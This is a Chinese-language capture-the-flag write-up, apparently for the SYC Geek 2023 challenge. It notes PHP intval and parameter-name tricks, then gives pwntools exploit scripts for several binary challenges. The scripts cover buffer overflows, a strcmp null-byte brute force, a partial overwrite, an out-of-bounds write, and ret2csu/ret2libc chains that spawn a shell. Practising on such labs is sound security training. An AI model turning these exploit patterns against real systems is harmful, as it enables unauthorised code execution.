好耶,又来练习pwn
WEB
web懒得复现了,尤记几个点
- php5特性: 如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值;但是如果先科学计数法+数字,此时会先将科学计数法变为正常的数再进行加法运算,之后才传入intval()进行转换;
- php参数里不能有
.
,会被自动换为_
,但是这个操作只换一个:SYC_GEEK.2023 => SYC[GEEK.2023
绕过。
PWN
考察pwntools使用
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import *
io = remote('pwn.node.game.sycsec.com', 31152) context.log_level='debug'
io.recvuntil(b'!!!') io.send(b"a"*92+b"Syclover")
io.recvuntil(b"first one\n") eval_str = io.recvline().replace(b'=?\n',b'') print(eval_str) io.sendline(str(eval(eval_str)).encode()) io.interactive()
|
password
考了strcmp的一个trick,\x00
会截断,密码概率为空,剩下的就简单了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import *
context.log_level = "debug"
import time
while True: try: io = remote('pwn.node.game.sycsec.com', 30351, timeout=2) io.recvline() payload = b'a' * 40 + p64(0x00000000004012F3) io.send(payload) io.recvline(timeout=2) io.sendline(b'') res = io.recvline(timeout=2) if b'Correct' in res: break io.close() time.sleep(0.1) except KeyboardInterrupt: exit() except: pass io.interactive()
|
ret2text
开了PIE,且没法泄漏地址,但是可以覆盖一字节
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import *
context.log_level = 'debug'
io = remote('pwn.node.game.sycsec.com', 31533)
io.recvline() payload = b'A'*0x58 + b'\x27'
io.send(payload) io.interactive()
|
write1
这题需要算ret地址的偏移,然后利用数组越界写过去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import *
io = remote('pwn.node.game.sycsec.com', 31043) context.log_level = 'debug'
pause()
io.sendline(b'AAAAAAAA')
io.recvline() io.sendline(b'40') io.recv() io.sendline(b'-2b') io.recvline() io.sendline(b'41') io.recv() io.sendline(b'-01')
io.recvline() io.sendline(b'-1') io.interactive()
|
ret2libc
这题本地通了,死活线上打不通,思路就是write泄漏libc地址,然后构造rop打shell。后面经过师傅的指点,可以用csu控制rdx(线上可能rdx值被加料改0了,导致输出不了),又学一招,开心
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import *
context.log_level = 'DEBUG'
io = process("./chal") libc = ELF("./libc.so.6.local")
elf = ELF("./chal") pause() io.recvuntil(b"backdoor!") write_plt = elf.plt['write'] write_got = elf.got['write']
vuln = 0x4011FD pop_rbx = 0x40132A mov_rdx = 0x401310 pop_rdi = 0x0000000000401333
def ret2csu(rbx,rbp,r12,r13,r14,r15): payload = b"bbb\x00" + b"a" * 20 payload += p64(pop_rbx) payload += p64(rbx) payload += p64(rbp) payload += p64(r12) payload += p64(r13) payload += p64(r14) payload += p64(r15) payload += p64(mov_rdx) payload += b'a'*(0x8+8*6) payload += p64(vuln) io.sendline(payload)
ret2csu(0, 1, 1, write_got, 8, write_got)
write_got_addr = u64(io.recv(6).ljust(8, b"\x00"))
print("write_got_addr: %s" % hex(write_got_addr)) libcbase = write_got_addr - libc.symbols['write'] system_addr = libcbase + libc.symbols['system'] bin_sh_addr = libcbase + next(libc.search(b"/bin/sh"))
io.recvuntil(b"backdoor!") payload2 = b"bbb\x00" + b"a" * 20 + p64(pop_rdi+1) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr) io.sendline(payload2)
io.interactive()
|